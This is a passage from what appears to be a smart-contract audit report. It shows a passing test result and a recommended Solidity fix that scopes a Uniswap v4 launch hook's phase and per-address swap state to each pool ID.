Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 565.42ms (1.15ms CPU time)
Ran 1 test suite in 584.14ms (565.42ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

  • Make all launch‑related state pool‑scoped by keying storage on PoolId.

  • Update all logic to reference the specific pool.

  • In _beforeSwap, compute and use pool‑scoped values.

- uint256 public currentPhase;
- uint256 public lastPhaseUpdateBlock;
- uint256 public launchStartBlock;
- uint256 public initialLiquidity;
- mapping(address => uint256) public addressSwappedAmount;
- mapping(address => uint256) public addressLastSwapBlock;
- mapping(address => uint256) public addressTotalSwaps;
- mapping(address => uint256) public addressPenaltyCount;
+ using PoolIdLibrary for PoolKey;
+
+ struct PoolState {
+ uint256 currentPhase;
+ uint256 lastPhaseUpdateBlock;
+ uint256 launchStartBlock;
+ uint256 initialLiquidity;
+ // NOTE: per-user tracking must also be pool-scoped
+ mapping(address => uint256) swappedAmount;
+ mapping(address => uint256) lastSwapBlock;
+ mapping(address => uint256) totalSwaps;
+ mapping(address => uint256) penaltyCount;
+ }
+
+ mapping(PoolId => PoolState) internal poolState;
- function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
- launchStartBlock = block.number;
- uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
- initialLiquidity = uint256(liquidity);
- currentPhase = 1;
- lastPhaseUpdateBlock = block.number;
- return BaseHook.afterInitialize.selector;
- }
+ function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
+ PoolState storage S = poolState[key.toId()];
+ S.launchStartBlock = block.number;
+ uint128 liq = StateLibrary.getLiquidity(poolManager, key.toId());
+ S.initialLiquidity = uint256(liq);
+ S.currentPhase = 1;
+ S.lastPhaseUpdateBlock = block.number;
+ return BaseHook.afterInitialize.selector;
+ }
- if (launchStartBlock == 0) revert PoolNotInitialized();
+ PoolState storage S = poolState[key.toId()];
+ if (S.launchStartBlock == 0) revert PoolNotInitialized();
- uint256 blocksSinceLaunch = block.number - launchStartBlock;
+ uint256 blocksSinceLaunch = block.number - S.launchStartBlock;
- if (newPhase != currentPhase) { ... currentPhase = newPhase; lastPhaseUpdateBlock = block.number; }
+ if (newPhase != S.currentPhase) { /* reset per-address for THIS pool only */ S.currentPhase = newPhase; S.lastPhaseUpdateBlock = block.number; }
- uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
+ uint256 maxSwapAmount = (S.initialLiquidity * phaseLimitBps) / 10000;
- if (!applyPenalty && addressSwappedAmount[sender] + swapAmount > maxSwapAmount) { applyPenalty = true; }
- addressSwappedAmount[sender] += swapAmount;
- addressLastSwapBlock[sender] = block.number;
+ if (!applyPenalty && S.swappedAmount[sender] + swapAmount > maxSwapAmount) { applyPenalty = true; }
+ S.swappedAmount[sender] += swapAmount;
+ S.lastSwapBlock[sender] = block.number;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!